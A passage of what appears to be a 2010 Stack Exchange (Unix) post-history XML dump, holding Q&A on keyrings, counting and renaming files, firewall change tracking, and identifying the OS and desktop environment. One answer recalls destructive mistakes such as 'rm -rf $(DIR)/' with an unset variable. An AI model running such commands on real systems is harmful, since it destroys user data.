[7]: http://en.wikipedia.org/wiki/Files_transferred_over_shell_protocol&#xD;&#xA;  [8]: http://en.wikipedia.org/wiki/SSH_file_transfer_protocol&#xD;&#xA;  [9]: http://en.wikipedia.org/wiki/Secure_Shell&#xD;&#xA;  [10]: http://en.wikipedia.org/wiki/Network_Information_Service&#xD;&#xA;  [11]: http://en.wikipedia.org/wiki/Network_File_System_(protocol)&#xD;&#xA;  [12]: http://en.wikipedia.org/wiki/OpenSUSE" />
  <row Id="2136" PostHistoryTypeId="2" PostId="1124" RevisionGUID="52dac461-3503-4fe0-8e44-b50d0bec9cca" CreationDate="2010-08-23T21:39:51.650" UserId="171" Text="Last weak I updated my password on my laptop. Then every time when I logged in, it would prompt for my old password to open the keyring for network manager. To fix this in a terminal I use &#xD;&#xA;&#xD;&#xA;    rm ~/.gnome2/keyrings/default.keyring&#xD;&#xA;&#xD;&#xA;Is there a different or better way of doing this?" />
  <row Id="2137" PostHistoryTypeId="1" PostId="1124" RevisionGUID="52dac461-3503-4fe0-8e44-b50d0bec9cca" CreationDate="2010-08-23T21:39:51.650" UserId="171" Text="How to update gnome keyring password?" />
  <row Id="2138" PostHistoryTypeId="3" PostId="1124" RevisionGUID="52dac461-3503-4fe0-8e44-b50d0bec9cca" CreationDate="2010-08-23T21:39:51.650" UserId="171" Text="ésecurityàégnomeà" />
  <row Id="2139" PostHistoryTypeId="2" PostId="1125" RevisionGUID="b12aa7df-ce1f-4b0c-8b65-cdfb7544436e" CreationDate="2010-08-23T21:49:58.570" UserId="325" Text="I have a directory with a large number of files. I don't see a `ls` switch to provide the count. Is there some command line magic to get a count of files?" />
  <row Id="2140" PostHistoryTypeId="1" PostId="1125" RevisionGUID="b12aa7df-ce1f-4b0c-8b65-cdfb7544436e" CreationDate="2010-08-23T21:49:58.570" UserId="325" Text="How can I get a count of files in a directory using the command line?" />
  <row Id="2141" PostHistoryTypeId="3" PostId="1125" RevisionGUID="b12aa7df-ce1f-4b0c-8b65-cdfb7544436e" CreationDate="2010-08-23T21:49:58.570" UserId="325" Text="écommandölineà" />
  <row Id="2142" PostHistoryTypeId="2" PostId="1126" RevisionGUID="0f37f28a-0f71-4cc8-9f89-dd80d7026954" CreationDate="2010-08-23T21:56:08.580" UserId="679" Text="Using a broad definition of &quot;file&quot;&#xD;&#xA;&#xD;&#xA;    ls | wc -l&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2143" PostHistoryTypeId="2" PostId="1127" RevisionGUID="90d38ea7-0915-40a8-b50c-16ddaf50acfa" CreationDate="2010-08-23T22:09:36.493" UserId="1153" Text="On my default 10.04 Ubuntu install I am consistently tripped up by the fact that some UI text areas/input boxes treat ctrl-a as &quot;select all&quot; vs. &quot;move my cursor to the beginning of the line.&quot; Is there some sort of global conf file that exists for these sorts of things?&#xD;&#xA;&#xD;&#xA;I would really like to unify all text input areas to use bash conventions." />
  <row Id="2144" PostHistoryTypeId="1" PostId="1127" RevisionGUID="90d38ea7-0915-40a8-b50c-16ddaf50acfa" CreationDate="2010-08-23T22:09:36.493" UserId="1153" Text="How can I make ubuntu UI uniformly use bash keyboard shortcuts?" />
  <row Id="2145" PostHistoryTypeId="3" PostId="1127" RevisionGUID="90d38ea7-0915-40a8-b50c-16ddaf50acfa" CreationDate="2010-08-23T22:09:36.493" UserId="1153" Text="ébashàéubuntuàékeyboardöshortcutsà" />
  <row Id="2146" PostHistoryTypeId="5" PostId="1093" RevisionGUID="03e33293-ad61-485e-87e0-a814bdbf5416" CreationDate="2010-08-23T22:24:57.283" UserId="1094" Comment="added 225 characters in body" Text="I've recently fallen into doing more work on LAMP servers, which is pretty new to me.  At first it wasn't a problem migrating my preference files, but as I've grown and learned more, my preferences and workflow has become more specific (and less portable*).  This morning I was asked to work on an old Red Hat 4 server and it's... it's just so old I don't know what to do with it.  Vim 6?  Everything installed through RPMForge?  Can't even install `tree` without having to add repositories?  No actual user accounts except root?  `/sbin/` and `/usr/sbin/` aren't even in the root user's path?  &#xD;&#xA;&#xD;&#xA;This thing was installed once and never modified.  Every installed package is from the ice age.  The first ice age.  &#xD;&#xA;&#xD;&#xA;So what do you do in this situation?  Should I even bother trying to work **on** on the server, or is there a better way to go about this?&#xD;&#xA;&#xD;&#xA;\* - really the only thing that broke is support for the Jellybeans color theme, and my usage of Vim tabs.&#xD;&#xA;&#xD;&#xA;edit - I guess the way I posed it was unclear, but the emphasis in the question should be on *you*.  What I'm really trying to get a sense for is what other people would do in a similar situation.  &#xD;&#xA;&#xD;&#xA;Remember:  I'm consulting.  It's not my job to reinstall the server.  It's not my job to do a security audit and harden the server.  It's my job to take vague requirements from a non-technical client running a very old server and make them happen in as little time as possible.  That's it.  &#xD;&#xA;&#xD;&#xA;I'm a developer, not a sysadmin; it's all pretty new to me, and getting it up to speed properly would take more time than I can afford to spend.  It's been in production for years; I'm just making modifications.  &#xD;&#xA;&#xD;&#xA;Do I *want* this server to be improved?  Of course!  Would I *want* this project to be something I'm proud of?  Yes!  Is that going to happen?  No.  I'm maintaining old software that I have zero interest in that doesn't even receive a lot of traffic.  I just want to do the task in a comfortable way without too much hassle.&#xD;&#xA;&#xD;&#xA;edit 2 - after a bit of searching and fiddling around, I eventually mounted what I need locally with sshfs and MacFuse.  That way I can stay in the terminal and use a mix of local and remote tools based on what I'm doing." />
  <row Id="2147" PostHistoryTypeId="2" PostId="1128" RevisionGUID="0944b8c4-3fca-4f2a-a641-7812fe27cdd1" CreationDate="2010-08-23T22:42:08.183" UserId="1002" Text="If you change your password through the GUI, it should automaticly synchronize the keyring that stores your WiFi passwords etc. too.&#xD;&#xA;&#xD;&#xA;You can also always change it from seahorse's control panel (&quot;Encryption &amp; Keyrings&quot; or something like that in the Preferences)." />
  <row Id="2148" PostHistoryTypeId="2" PostId="1129" RevisionGUID="43172382-08d8-4d20-ae44-a44072936ae2" CreationDate="2010-08-23T22:46:45.713" UserId="1002" Text="[BlueTile](http://www.bluetile.org/) is based on Xmonad but configured OOTB to work well with GNOME (to some degree, it's not as polished as Metacity or Compiz yet...)." />
  <row Id="2149" PostHistoryTypeId="2" PostId="1130" RevisionGUID="deb21873-cb57-44dc-ade0-3646a0e761b9" CreationDate="2010-08-23T22:50:24.337" UserId="1002" Text="Those are Emacs keybindings, and you can [enable them for Gtk applications](http://johan.kiviniemi.name/blag/emacs-key-bindings-in-gtk-apps/)." />
  <row Id="2150" PostHistoryTypeId="2" PostId="1131" RevisionGUID="e289cd13-a7cd-4f24-ba06-11c757edf020" CreationDate="2010-08-23T22:59:19.453" UserId="305" Text="There was such tool but I cannot remeber its name. I needed to configure precedence of addresses by `/etc/gai.conf`. Finally I manage to find error but for future - what's the name of tool which displays the addresses of hostname as `getaddrinfo(3)` is displaying it?" />
  <row Id="2151" PostHistoryTypeId="1" PostId="1131" RevisionGUID="e289cd13-a7cd-4f24-ba06-11c757edf020" CreationDate="2010-08-23T22:59:19.453" UserId="305" Text="Testing precedence of resolving addresses from commandline" />
  <row Id="2152" PostHistoryTypeId="3" PostId="1131" RevisionGUID="e289cd13-a7cd-4f24-ba06-11c757edf020" CreationDate="2010-08-23T22:59:19.453" UserId="305" Text="écommandölineàéconfigurationà" />
  <row Id="2153" PostHistoryTypeId="2" PostId="1132" RevisionGUID="4d415d0f-93eb-43a1-ae4b-8323204b2991" CreationDate="2010-08-23T23:01:23.633" UserId="305" Text="For narrow (I hope) definition of file:&#xD;&#xA;&#xD;&#xA;     find -maxdepth 1 -type f | wc -l" />
  <row Id="2154" PostHistoryTypeId="2" PostId="1133" RevisionGUID="642dc5ca-906d-4145-a3b3-7ac88c7288c3" CreationDate="2010-08-23T23:26:28.850" UserId="885" Text="    set -- *; echo $#&#xD;&#xA;&#xD;&#xA;This is obviously generalizable to any glob. The `--` can be omitted if you're sure the first file doesn't begin with `-`.&#xD;&#xA;&#xD;&#xA;In a script, this has the sometimes unfortunate side effect of overwriting the positional parameters. You can work around this with a function (POSIX version, a ksh/bash/zsh version could be cleaner) (warning, typed directly into the browser):&#xD;&#xA;&#xD;&#xA;    count_words () {&#xD;&#xA;      __count_words_var=$1&#xD;&#xA;      shift&#xD;&#xA;      set -- &quot;$@&quot;&#xD;&#xA;      eval $__count_words_var=$#&#xD;&#xA;    }&#xD;&#xA;    count_words number_of_files *&#xD;&#xA;    echo There are $number_of_files non-dot files in the current directory&#xD;&#xA;&#xD;&#xA;An alternative solution is `$(ls * | wc -l)`. If the glob is `*`, the command can be shortened to `$(ls | wc -l)`. Parsing the output of `ls` always makes me uneasy, but here it should work as long as your file names don't contain newlines, or your `ls` escapes them. And `$(ls * 2&gt;/dev/null | wc -l)` has the advantage of handling the case of a non-matching glob gracefully (i.e., it returns 0 in that case, whereas the `set *` method requires fiddly testing if the glob might be empty).&#xD;&#xA;" />
  <row Id="2155" PostHistoryTypeId="2" PostId="1134" RevisionGUID="2bad6afb-4d0c-47d0-93a6-b171d6d3071a" CreationDate="2010-08-23T23:31:40.463" UserId="315" Text="At the moment I'm using a Python script to generate iptables rules. Each set of changes gets committed to a git repository before deployment so there's a trace of who changed what and why.&#xD;&#xA;&#xD;&#xA;What tools/processes do other people use to manage changes to their firewall rules? Is there a guide on best practice for firewall change control that anyone likes?" />
  <row Id="2156" PostHistoryTypeId="1" PostId="1134" RevisionGUID="2bad6afb-4d0c-47d0-93a6-b171d6d3071a" CreationDate="2010-08-23T23:31:40.463" UserId="315" Text="Firewall change control" />
  <row Id="2157" PostHistoryTypeId="3" PostId="1134" RevisionGUID="2bad6afb-4d0c-47d0-93a6-b171d6d3071a" CreationDate="2010-08-23T23:31:40.463" UserId="315" Text="éfirewallà" />
  <row Id="2158" PostHistoryTypeId="2" PostId="1135" RevisionGUID="dc2b4b05-96da-4433-80fb-fae2f7ad28ef" CreationDate="2010-08-23T23:54:24.200" UserId="1156" Text="I don't think change control for firewalls is much different than for anything else, so standard source control would work. Use git or svn and automate the checkins in your script." />
  <row Id="2159" PostHistoryTypeId="2" PostId="1136" RevisionGUID="32819036-58b2-4ed0-9307-a30ce7f85095" CreationDate="2010-08-23T23:55:12.297" UserId="753" Text="It's embarrassing, I've never learned to do this on the command line.&#xD;&#xA;&#xD;&#xA;I have a directory full of images:&#xD;&#xA;&#xD;&#xA;    image0001.png&#xD;&#xA;    image0002.png&#xD;&#xA;    image0003.png&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;And I would like a one-liner to rename them to (say).&#xD;&#xA;&#xD;&#xA;    0001.png&#xD;&#xA;    0002.png&#xD;&#xA;    0003.png&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;How do I do this?" />
  <row Id="2160" PostHistoryTypeId="1" PostId="1136" RevisionGUID="32819036-58b2-4ed0-9307-a30ce7f85095" CreationDate="2010-08-23T23:55:12.297" UserId="753" Text="Batch renaming files" />
  <row Id="2161" PostHistoryTypeId="3" PostId="1136" RevisionGUID="32819036-58b2-4ed0-9307-a30ce7f85095" CreationDate="2010-08-23T23:55:12.297" UserId="753" Text="éshellàérenameà" />
  <row Id="2162" PostHistoryTypeId="2" PostId="1137" RevisionGUID="cc67b4b6-8190-4b98-b453-a775efd7a784" CreationDate="2010-08-23T23:58:16.503" UserId="1156" Text="SLS distribution, Linux kernel v0.9 1992 era on a 386sx 16Mhz w/16MB RAM" />
  <row Id="2163" PostHistoryTypeId="2" PostId="1138" RevisionGUID="60c999b2-dbfd-438e-bfae-c81bc919e4b2" CreationDate="2010-08-24T00:02:26.060" UserId="1156" Text="&#xD;&#xA;ls *png | while read f; do f2=\`echo $f | sed -e's/image//'\`; mv $f $f2; done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2164" PostHistoryTypeId="2" PostId="1139" RevisionGUID="654f5096-64be-4aa2-a88a-1964e23be186" CreationDate="2010-08-24T00:09:04.537" UserId="1157" Text="If you are using bash&#xD;&#xA;&#xD;&#xA;    for f in *.png; do mv $f ${f#image}; done" />
  <row Id="2165" PostHistoryTypeId="2" PostId="1140" RevisionGUID="6e7d4b68-38ac-4c06-8211-313a17a235af" CreationDate="2010-08-24T00:12:22.223" UserId="753" Text="This has worked:&#xD;&#xA;&#xD;&#xA;    rename -v 's/image//' *.png" />
  <row Id="2166" PostHistoryTypeId="6" PostId="1136" RevisionGUID="5a7f6539-a8f3-443f-bf00-a7cde2cf3d5a" CreationDate="2010-08-24T00:12:51.113" UserId="753" Comment="edited tags" Text="éshellàébashàérenameà" />
  <row Id="2167" PostHistoryTypeId="2" PostId="1141" RevisionGUID="4ca3ce75-35e2-4714-8847-b2181cdcca79" CreationDate="2010-08-24T00:15:10.173" UserId="885" Text="# zmv&#xD;&#xA;&#xD;&#xA;The zsh shell has a powerful batch rename command called `zmv`.&#xD;&#xA;&#xD;&#xA;First you need to enable the `zmv` command as follows (this can go into your `~/.zshrc`).&#xD;&#xA;&#xD;&#xA;    autoload zmv&#xD;&#xA;&#xD;&#xA;The basic syntax is `zmv PATTERN REPLACEMENT`. The pattern is a shell glob expression. Parts of the pattern can be surrounded by parentheses. The replacement text can contain `$1`, `$2`, etc. to refer to the Nth parenthesised group in the pattern. For example:&#xD;&#xA;&#xD;&#xA;    zmv 'image(*.png)' '$1'&#xD;&#xA;&#xD;&#xA;You can also ask zsh to automatically define `$1`, `$2`, etc. to match the wildcard characters in the pattern:&#xD;&#xA;&#xD;&#xA;    zmv -w 'image*.png' '$1.png'&#xD;&#xA;" />
  <row Id="2168" PostHistoryTypeId="16" PostId="1141" RevisionGUID="4ca3ce75-35e2-4714-8847-b2181cdcca79" CreationDate="2010-08-24T00:15:30.517" UserId="885" />
  <row Id="2169" PostHistoryTypeId="2" PostId="1142" RevisionGUID="39ef9115-b64d-4672-917b-8ccd585e2e65" CreationDate="2010-08-24T00:22:47.507" UserId="203" Text="[Linux Device Drivers][1] is another good resource.  It would give you another way to get into the inner workings.  From the preface:&#xD;&#xA;&#xD;&#xA;&gt; This is, on the surface, a book about&#xD;&#xA;&gt; writing device drivers for the Linux&#xD;&#xA;&gt; system. That is a worthy goal, of&#xD;&#xA;&gt; course; the flow of new hardware&#xD;&#xA;&gt; products is not likely to slow down&#xD;&#xA;&gt; anytime soon, and somebody is going to&#xD;&#xA;&gt; have to make all those new gadgets&#xD;&#xA;&gt; work with Linux. But this book is also&#xD;&#xA;&gt; about how the Linux kernel works and&#xD;&#xA;&gt; how to adapt its workings to your&#xD;&#xA;&gt; needs or interests. Linux is an open&#xD;&#xA;&gt; system; with this book, we hope, it is&#xD;&#xA;&gt; more open and accessible to a larger&#xD;&#xA;&gt; community of developers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lwn.net/Kernel/LDD3/" />
  <row Id="2170" PostHistoryTypeId="5" PostId="1136" RevisionGUID="6d595d95-7f20-4cc8-9c4b-7c027c1d549c" CreationDate="2010-08-24T00:52:37.633" UserId="753" Comment="deleted 73 characters in body" Text="I have a directory full of images:&#xD;&#xA;&#xD;&#xA;    image0001.png&#xD;&#xA;    image0002.png&#xD;&#xA;    image0003.png&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;And I would like a one-liner to rename them to (say).&#xD;&#xA;&#xD;&#xA;    0001.png&#xD;&#xA;    0002.png&#xD;&#xA;    0003.png&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;How do I do this?" />
  <row Id="2171" PostHistoryTypeId="2" PostId="1143" RevisionGUID="ef866188-435d-4c37-97fa-5f675ffe0cc5" CreationDate="2010-08-24T00:56:36.113" UserId="160" Text="I like Perl so:&#xD;&#xA;&#xD;&#xA;    perl -nlE '$old=$_; s/image//; qx(mv $old $_)'&#xD;&#xA;&#xD;&#xA;You can also use the same pattern for other tasks like copying the files to another directory:&#xD;&#xA;&#xD;&#xA;    perl -nlE '$old=$_; s(image)(/path/to/new/dir/); qx(mv $old $_)'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2172" PostHistoryTypeId="2" PostId="1144" RevisionGUID="0d76a79e-516a-44b4-ac32-20464a7b35f3" CreationDate="2010-08-24T00:57:53.537" UserId="1160" Text="    ls -1 | wc -l&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;    $ ls --help | grep -- '  -1'&#xD;&#xA;        -1                         list one file per line&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;    $ wc --help | grep -- '  -l'&#xD;&#xA;        -l, --lines            print the newline counts&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: Note ls -&amp;lt;number-one&gt; | wc -&amp;lt;letter-l&gt;" />
  <row Id="2173" PostHistoryTypeId="2" PostId="1145" RevisionGUID="f5871c33-72d8-4153-a0b8-50bd5a828f21" CreationDate="2010-08-24T01:16:27.197" UserId="382" Text="Here's another technique along the lines of the [one Gilles posted][1]:&#xD;&#xA;&#xD;&#xA;    word_count () { local c=($@); echo ${#c[@]}; }&#xD;&#xA;    file_count=$(word_count *)&#xD;&#xA;&#xD;&#xA;which creates an array with 13,923 elements (if that's how many files there are).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1125/how-can-i-get-a-count-of-files-in-a-directory-using-the-command-line/1133#1133" />
  <row Id="2174" PostHistoryTypeId="2" PostId="1146" RevisionGUID="7abaaec0-b33a-464c-ba2b-be4b4c71d2b9" CreationDate="2010-08-24T01:34:10.750" UserId="1156" Text="pthread_cancel()" />
  <row Id="2175" PostHistoryTypeId="5" PostId="1138" RevisionGUID="059d0fdd-7e69-4bd7-8217-34839ae6c932" CreationDate="2010-08-24T01:38:09.523" UserId="1156" Comment="fixed based on feedback" Text="ls *png | while read -r f; do f2=&quot;\`echo $f | sed -e's/image//'\`&quot;; mv $f $f2; done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2176" PostHistoryTypeId="2" PostId="1147" RevisionGUID="f0030984-3cae-41ff-9ba7-ed9b2e32a958" CreationDate="2010-08-24T01:48:46.413" UserId="1156" Text="Journaling is orthogonal to encryption. You would run an encrypted device to protect your files private, and you would use a journaling FS to protect the integrity of the data. Given the advancements over the last decade in Linux-based journaling systems, there's really no reason not to use one, except for possibly special scenarios like embedded systems or specially tuned database environments." />
  <row Id="2177" PostHistoryTypeId="2" PostId="1148" RevisionGUID="2cc0a046-e0a3-4745-8bcb-25e57db77600" CreationDate="2010-08-24T01:52:44.767" UserId="1156" Text="rm -f * ~&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;rm -rf $(DIR)/ when DIR was not set!" />
  <row Id="2178" PostHistoryTypeId="16" PostId="1148" RevisionGUID="2cc0a046-e0a3-4745-8bcb-25e57db77600" CreationDate="2010-08-24T01:52:44.767" UserId="-1" />
  <row Id="2179" PostHistoryTypeId="5" PostId="1140" RevisionGUID="70369225-69b5-4801-b8fa-d9697e2ae19b" CreationDate="2010-08-24T02:07:11.400" UserId="753" Comment="added 15 characters in body" Text="This has worked. Perl's rename:&#xD;&#xA;&#xD;&#xA;    rename -v 's/image//' *.png" />
  <row Id="2180" PostHistoryTypeId="2" PostId="1149" RevisionGUID="91f14204-e631-44a6-ba0b-ecbd119c367e" CreationDate="2010-08-24T02:19:23.810" UserId="382" Text="Here's a way to do it using GNU `grep`:&#xD;&#xA;&#xD;&#xA;    grep -Po &quot;^[^;]+(?=;?)&quot; filename&#xD;&#xA;" />
  <row Id="2181" PostHistoryTypeId="2" PostId="1150" RevisionGUID="1c6c159f-d8b7-4551-a5c4-d3d121336a5e" CreationDate="2010-08-24T02:26:05.870" UserId="912" Text="I have always found it difficult to find information about the system itself in Unix, whether it be&#xD;&#xA;&#xD;&#xA;  - Which OS I am using (version number and all, to compare it with the latest available builds)?&#xD;&#xA;&#xD;&#xA;  - Which Desktop Environment am I using? If I am using KDE, most of the programs begin with a K and I can say I am using KDE, but there should be some way to query this, say from a script.&#xD;&#xA;&#xD;&#xA;  - Which kernel version am I using? (For example, I am using Fedora, and I want to know what Linux kernel version I am using)&#xD;&#xA;&#xD;&#xA;Basically, what I miss is a single point/utility that can get all this information for me. Most of the times the solutions to the above would themselves be OS specific. Then, you are stuck." />
  <row Id="2182" PostHistoryTypeId="1" PostId="1150" RevisionGUID="1c6c159f-d8b7-4551-a5c4-d3d121336a5e" CreationDate="2010-08-24T02:26:05.870" UserId="912" Text="How to find information about the system/machine in Unix?" />
  <row Id="2183" PostHistoryTypeId="3" PostId="1150" RevisionGUID="1c6c159f-d8b7-4551-a5c4-d3d121336a5e" CreationDate="2010-08-24T02:26:05.870" UserId="912" Text="élinuxàéunixàékernelàédesktopöenvironmentà" />
  <row Id="2184" PostHistoryTypeId="2" PostId="1151" RevisionGUID="2979a3d9-60ce-407b-bfa0-2be9914decb5" CreationDate="2010-08-24T02:43:22.683" UserId="701" Text="I am trying to understand the different subsystems that are in charge of the user interface, the terminology to refer to them, and how they are structured; so far I know there are:&#xD;&#xA;&#xD;&#xA;At the top level:&#xD;&#xA;&#xD;&#xA;_desktops_? (kde, gnome, etc)&#xD;&#xA;&#xD;&#xA;Then we have:&#xD;&#xA;&#xD;&#xA;- a display manager (also called desktop manager or desktop environment)&#xD;&#xA;- window manager&#xD;&#xA;- anything else?&#xD;&#xA;&#xD;&#xA;I'm making this a community wiki, I'd like this to be a central place for *all there is to know (from the user perspective) regarding user interface subsystems in Linux; what I would like to know is what are the components of each, and what are the responsibilities of each, i.e. I would like to know things like: &#xD;&#xA;&#xD;&#xA;- what exactly is in charge of the global shortcut keys, when I open up the &quot;run application&quot; dialog, who is doing that, when I press a key to show the desktop, run a terminal, maximize a window, etc, who is capturing that and sending it over to the right window;&#xD;&#xA;- who is in charge of drawing the desktop, the workspaces, etc.&#xD;&#xA;- Is the &quot;main menu&quot; a subsystem, or a component of a subsystem?&#xD;&#xA;&#xD;&#xA;It would also be nice to compile a list of the most popular desktops/subsystems, which ones run under each, can you mix and match desktops/desktop environments/window managers, etc?&#xD;&#xA;&#xD;&#xA;Finally, how do I tell which desktop/subsystems are actually running (active?) on the system, can different users have a different subsystem each?" />
  <row Id="2185" PostHistoryTypeId="1" PostId="1151" RevisionGUID="2979a3d9-60ce-407b-bfa0-2be9914decb5" CreationDate="2010-08-24T02:43:22.683" UserId="701" Text="What are the user interface subsystems, their components and responsibilities?" />
  <row Id="2186" PostHistoryTypeId="3" PostId="1151" RevisionGUID="2979a3d9-60ce-407b-bfa0-2be9914decb5" CreationDate="2010-08-24T02:43:22.683" UserId="701" Text="éwindowömanageràédesktopöenvironmentàédesktopà" />
  <row Id="2187" PostHistoryTypeId="16" PostId="1151" RevisionGUID="2979a3d9-60ce-407b-bfa0-2be9914decb5" CreationDate="2010-08-24T02:43:22.683" UserId="701" />
  <row Id="2188" PostHistoryTypeId="2" PostId="1152" RevisionGUID="18ba363b-e9bb-4cb4-8d58-2833644d7b30" CreationDate="2010-08-24T02:43:34.183" UserId="1077" Text="maybe you can use &#xD;&#xA;&#xD;&#xA;&gt; uname -a&#xD;&#xA;&#xD;&#xA;to get information about the kernel version and which OS you are using" />
  <row Id="2189" PostHistoryTypeId="2" PostId="1153" RevisionGUID="cc8154b1-8a3a-4463-90d8-89cf498a33b5" CreationDate="2010-08-24T03:01:49.463" UserId="412" Text="As @milk pointed out, you can use `uname -a` and that will tell you information on all the UNIXes I have access to. For example, on Linux:&#xD;&#xA;&#xD;&#xA;    Linux localhost 2.6.33.6-147.2.4.fc13.x86_64 #1 SMP Fri Jul 23 17:14:44 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;On FreeBSD:&#xD;&#xA;&#xD;&#xA;    FreeBSD localhost 6.3-RELEASE-p3-jc1 FreeBSD 6.3-RELEASE-p3-jc1 #2: Thu Aug  7 14:36:29 PDT 2008 user@jail7.johncompanies.com:/usr/obj/usr/src/sys/jail7  i386&#xD;&#xA;&#xD;&#xA;On OpenSolaris:&#xD;&#xA;&#xD;&#xA;    SunOS localhost 5.11 snv_134 i86pc i386 i86pc&#xD;&#xA;&#xD;&#xA;As far as the desktop environment question goes, you should be able to `echo $DESKTOP_SESSION` in KDE or GNOME and get back the right answer.&#xD;&#xA;&#xD;&#xA;If you want to find out what distro you're running, a cheater's shortcut is to `cat /etc/*-version /etc/*-release`." />
  <row Id="2190" PostHistoryTypeId="5" PostId="1151" RevisionGUID="82e29565-1867-4868-8680-92e2822bc5ad" CreationDate="2010-08-24T03:05:44.060" UserId="701" Comment="added details" Text="I am trying to understand the different subsystems that are in charge of the user interface, the terminology to refer to them, and how they are structured; so far I know there are:&#xD;&#xA;&#xD;&#xA;At the top level:&#xD;&#xA;&#xD;&#xA;_desktops_? (kde, gnome, etc)&#xD;&#xA;&#xD;&#xA;Then we have:&#xD;&#xA;&#xD;&#xA;- a display manager (also called desktop manager or desktop environment)&#xD;&#xA;- window manager&#xD;&#xA;- anything else?&#xD;&#xA;&#xD;&#xA;I'm making this a community wiki, I'd like this to be a central place for *all there is to know (from the user perspective) regarding user interface subsystems in Linux; what I would like to know is what are the components of each, and what are the responsibilities of each, i.e. I would like to know things like: &#xD;&#xA;&#xD;&#xA;- what exactly is in charge of the global shortcut keys, when I open up the &quot;run application&quot; dialog, who is doing that, when I press a key to show the desktop, run a terminal, maximize a window, etc, who is capturing that and sending it over to the right window;&#xD;&#xA;- who is in charge of drawing the desktop, the workspaces, etc.&#xD;&#xA;- what are the environment variables that can give me information regarding these components&#xD;&#xA;- Is the &quot;main menu&quot; a subsystem, or a component of a subsystem?&#xD;&#xA;&#xD;&#xA;It would also be nice to compile a list of the most popular desktops/subsystems, which ones run under each, can you mix and match desktops/desktop environments/window managers, etc?&#xD;&#xA;&#xD;&#xA;Finally, how do I tell which desktop/subsystems are actually running (active?) on the system, can different users have a different subsystem each?" />
  <row Id="2191" PostHistoryTypeId="2" PostId="1154" RevisionGUID="e30a8f97-62fc-4184-9b96-bf686b5b1142" CreationDate="2010-08-24T03:07:19.860" UserId="1002" Text="In addition to `uname -a`, which gives you the kernel version, you can try:&#xD;&#xA;&#xD;&#xA;    lsb_release -idrc  # distro, version, codename, long release name&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Most Desktop Environments like GNOME or KDE have an &quot;about&quot; or &quot;info&quot; menu option that will tell you what you use currently, so no commandline needed there really.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2192" PostHistoryTypeId="2" PostId="1155" RevisionGUID="780b037c-4f20-4be4-b2b5-77b9921d21c0" CreationDate="2010-08-24T03:32:32.773" UserId="646" Text="A desktop manager manages your hardware mostly, while a window manager manages your software. For example, power management, screen savers, system performance, login screen, etc are managed by a desktop manager. Your theme, window placement, widget and icon set, fonts, etc are managed by your window manager.&#xD;&#xA;&#xD;&#xA;You can have a window manager installed without a desktop manager. It's common to login to a virtual terminal, then have a login script execute your window manager to start up your &quot;desktop&quot;.&#xD;&#xA;&#xD;&#xA;Desktop managers are GNOME, KDE and CDE. Window managers are Metacity, Openbox, Enlightenment, Awesome, etc.&#xD;&#xA;&#xD;&#xA;To answer some of your questions directly:&#xD;&#xA;&#xD;&#xA; - the window manager is mostly in charge of desktop keyboard shortcuts.&#xD;&#xA; - the window manager is in charge of drawing the desktop, workspaces, placements of windows, etc as mentioned before&#xD;&#xA; - there aren't a lot of environment variables for the GUI. These are usually just applicable to the shell behind a terminal. However, you can run `set` and `env` to get an idea of what is set.&#xD;&#xA; - not sure what you mean by the &quot;main menu&quot; as a subsystem or component of a subsystem. Menus are part of the window manager.&#xD;&#xA;&#xD;&#xA;I've mentioned some popular desktop managers and window managers already. More can be found by using Google.&#xD;&#xA;&#xD;&#xA;Depending on your operating system, there is probably an ASCII config file that has defined your preferred desktop. For example, on Debian GNU/Linux, this is defined in the `/etc/X11/default-display-manager` config. You could also run 'ps -ef | grep user' where 'user' is the name of the login of some user on the system, and see what processes are listed, and which is the graphical desktop running. For me, it's 'metacity'." />
  <row Id="2193" PostHistoryTypeId="16" PostId="1155" RevisionGUID="780b037c-4f20-4be4-b2b5-77b9921d21c0" CreationDate="2010-08-24T03:32:32.773" UserId="-1" />
  <row Id="2194" PostHistoryTypeId="2" PostId="1156" RevisionGUID="3be57fda-4be1-46a5-96c4-338f8dc5d0d5" CreationDate="2010-08-24T03:34:21.913" UserId="1002" Text="First of all, a Display Manager (or DM, e.g. xdm, gdm, kdm) is not the same as a Desktop Environment (or DE, e.g. GNOME, KDE, XFCE).&#xD;&#xA;&#xD;&#xA;The Display Manager takes care of graphical login, and decides (or lets you choose) what session to run.  Or what session**s** in case you choose the &quot;switch user&quot; menu option.&#xD;&#xA;&#xD;&#xA;A Desktop Environment is basically a collection of programs (display manager, window manager, session manager, panels, configuration tools, etc.) and libraries (e.g. Gtk) that intend to give a consistent and integrated environment to work in.&#xD;&#xA;&#xD;&#xA;A Window Manager manages windows: where to place them, move them, resize them, minimize/maximize them, tile them, etc.).  It also handles the shortcuts to do those things.  In some cases the window manager also paints the borders of windows, in other cases this task is off-handed to a &quot;window decorator&quot;.&#xD;&#xA;&#xD;&#xA;The &quot;Run Application&quot; dialog in GNOME is part of `gnome-panel`, but in another DE it could be another part of the environment.&#xD;&#xA;&#xD;&#xA;Who is in charge of painting windows etc. depends; in case there is a &quot;compositor&quot; in use (often part of the window manager, e.g. in Compiz) then the compositor paints the windows on the screen, otherwise (as was usual in the past) it's the X-server doing that.&#xD;&#xA;&#xD;&#xA;The Main Menu(s) are put on the screen by a part of gnome-panel, but the data used comes from a bunch of files in `/usr/share/applications/` (possibly combined with an equivalent directory in your home for personal changes).  Those files have a structure defined by FreeDesktop.org (a platform for different DEs to collaborate on common infrastructure), so that GNOME and KDE know about the same programs (but still can show them differently, and in some cases prioritize &quot;native&quot; programs over &quot;foreign&quot; ones).&#xD;&#xA;&#xD;&#xA;And 